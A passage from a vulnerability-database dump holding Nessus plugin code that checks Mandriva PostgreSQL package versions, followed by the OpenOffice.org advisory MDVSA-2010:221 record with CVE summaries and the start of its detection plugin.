(rpm_check(reference:\"postgresql8.3-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-contrib-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-devel-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-docs-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-pl-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plperl-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plpgsql-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plpython-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-pltcl-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-server-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\n\nif (rpm_check(reference:\"libecpg8.3_6-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"libpq8.3_5-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-contrib-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-devel-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-docs-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-pl-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plperl-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plpgsql-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plpython-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-pltcl-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-server-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\n\nif (rpm_check(reference:\"lib64ecpg8.3_6-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"lib64pq8.3_5-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-contrib-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-devel-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-docs-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-pl-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plperl-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plpgsql-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plpython-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-pltcl-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-server-8.3.12-0.2mdv2009.1\", release:\"MDK2009.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\n\nif (rpm_check(reference:\"libecpg8.4_6-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"libpq8.4_5-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-contrib-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-devel-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-docs-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-pl-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plperl-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plpgsql-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plpython-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-pltcl-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-server-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\n\nif (rpm_check(reference:\"lib64ecpg8.4_6-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"lib64pq8.4_5-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-contrib-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-devel-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-docs-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-pl-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plperl-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plpgsql-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plpython-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-pltcl-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-server-8.4.5-0.2mdv2010.0\", release:\"MDK2010.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\n\nif (rpm_check(reference:\"libecpg8.4_6-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"libpq8.4_5-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-contrib-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-devel-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-docs-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-pl-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plperl-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plpgsql-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plpython-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-pltcl-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-server-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"i386\", yank:\"mdv\")) flag++;\n\nif (rpm_check(reference:\"lib64ecpg8.4_6-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"lib64pq8.4_5-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-contrib-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-devel-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-docs-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-pl-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plperl-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plpgsql-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-plpython-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-pltcl-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.4-server-8.4.5-0.2mdv2010.1\", release:\"MDK2010.1\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse \n{\n exit(0, \"The host is not affected.\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-02-21T01:14:04", "bulletinFamily": "scanner", "description": "Multiple vulnerabilities was discovered and corrected in the OpenOffice.org :\n\nInteger overflow allows remote attackers to execute arbitrary code via a crafted XPM file that triggers a heap-based buffer overflow (CVE-2009-2949).\n\nHeap-based buffer overflow allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted GIF file, related to LZW decompression (CVE-2009-2950).\n\nInteger underflow allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted sprmTDefTable table property modifier in a Word document (CVE-2009-3301).\n\nboundary error flaw allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted sprmTSetBrc table property modifier in a Word document (CVE-2009-3302).\n\nLack of properly enforcing Visual Basic for Applications (VBA) macro security settings, which allows remote attackers to run arbitrary macros via a crafted document (CVE-2010-0136).\n\nUser-assisted remote attackers are able to bypass Python macro security restrictions and execute arbitrary Python code via a crafted OpenDocument Text (ODT) file that triggers code execution when the macro directory structure is previewed (CVE-2010-0395).\n\nImpress module does not properly handle integer values associated with dictionary property items, which allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted PowerPoint document that triggers a heap-based buffer overflow, related to an integer truncation error (CVE-2010-2935).\n\nInteger overflow in the Impress allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via crafted polygons in a PowerPoint document that triggers a heap-based buffer overflow (CVE-2010-2936).\n\nPackages for 2009.0 are provided as of the Extended Maintenance Program. Please visit this link to learn more:\nhttp://store.mandriva.com/product_info.php?cPath=149&amp;products_id=4 90\n\nThis update provides OpenOffice.org packages have been patched to correct these issues and additional dependent packages.", "modified": "2019-01-02T00:00:00", "id": "MANDRIVA_MDVSA-2010-221.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=50503", "published": "2010-11-07T00:00:00", "title": "Mandriva Linux Security Advisory : openoffice.org (MDVSA-2010:221)", "type": "nessus", "sourceData": "#%NASL_MIN_LEVEL 70103\n\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Mandriva Linux Security Advisory MDVSA-2010:221. \n# The text itself is copyright (C) Mandriva S.A.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(50503);\n script_version(\"1.14\");\n script_cvs_date(\"Date: 2019/01/02 16:37:54\");\n\n script_cve_id(\"CVE-2009-2949\", \"CVE-2009-2950\", \"CVE-2009-3301\", \"CVE-2009-3302\", \"CVE-2010-0136\", \"CVE-2010-0395\", \"CVE-2010-2935\", \"CVE-2010-2936\");\n script_bugtraq_id(38218, 38245, 40599, 42202);\n script_xref(name:\"MDVSA\", value:\"2010:221\");\n\n script_name(english:\"Mandriva Linux Security Advisory : openoffice.org (MDVSA-2010:221)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Mandriva Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Multiple vulnerabilities was discovered and corrected in the\nOpenOffice.org :\n\nInteger overflow allows remote attackers to execute arbitrary code via\na crafted XPM file that triggers a heap-based buffer overflow\n(CVE-2009-2949).\n\nHeap-based buffer overflow allows remote attackers to cause a denial\nof service (application crash) or possibly execute arbitrary code via\na crafted GIF file, related to LZW decompression (CVE-2009-2950).\n\nInteger underflow allows remote attackers to cause a denial of service\n(application crash) or possibly execute arbitrary code via a crafted\nsprmTDefTable table property modifier in a Word document\n(CVE-2009-3301).\n\nboundary error flaw allows remote attackers to cause a denial of\nservice (application crash) or possibly execute arbitrary code via a\ncrafted sprmTSetBrc table property modifier in a Word document\n(CVE-2009-3302).\n\nLack of properly enforcing Visual Basic for Applications (VBA) macro\nsecurity settings, which allows remote attackers to run arbitrary\nmacros via a crafted document (CVE-2010-0136).\n\nUser-assisted remote attackers are able to bypass Python macro\nsecurity restrictions and execute arbitrary Python code via a crafted\nOpenDocument Text (ODT) file that triggers code execution when the\nmacro directory structure is previewed (CVE-2010-0395).\n\nImpress module does not properly handle integer values associated with\ndictionary property items, which allows remote attackers to cause a\ndenial of service (application crash) or possibly execute arbitrary\ncode via a crafted PowerPoint document that triggers a heap-based\nbuffer overflow, related to an integer truncation error\n(CVE-2010-2935).\n\nInteger overflow in the Impress allows remote attackers to cause a\ndenial of service (application crash) or possibly execute arbitrary\ncode via crafted polygons in a PowerPoint document that triggers a\nheap-based buffer overflow (CVE-2010-2936).\n\nPackages for 2009.0 are provided as of the Extended Maintenance\nProgram. Please visit this link to learn more:\nhttp://store.mandriva.com/product_info.php?cPath=149&amp;products_id=4\n90\n\nThis update provides OpenOffice.org packages have been patched to\ncorrect these issues and additional dependent packages.\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_cwe_id(94, 119, 189);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:lib64voikko-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:lib64voikko1\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:libvoikko-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:libvoikko1\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-base\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-calc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-core\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-devel-doc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-draw\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-filter-binfilter\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-gnome\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-af\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ar\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-bg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-br\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-bs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ca\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-cs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-cy\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-da\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-de\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-el\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-en_GB\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-en_US\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-es\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-et\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-eu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-fi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-fr\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-he\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-hi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-hu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-it\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ja\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ko\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-mk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-nb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-nl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-nn\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-pl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-pt\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-pt_AO\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-pt_BR\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ru\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-sk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-sl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-sv\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-ta\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-tr\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-zh_CN\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-zh_TW\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-help-zu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-impress\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-java-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-kde4\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-af\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ar\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-bg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-br\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-bs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ca\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-cs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-cy\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-da\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-de\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-el\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-en_GB\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-es\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-et\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-eu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-fi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-fr\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-he\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-hi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-hu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-it\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ja\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ko\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-mk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-nb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-nl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-nn\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-pl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-pt\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-pt_AO\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-pt_BR\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ru\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-sk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-sl\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-sv\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-ta\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-tr\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-zh_CN\");\n script_set_attribute(attribute:\"cpe\", 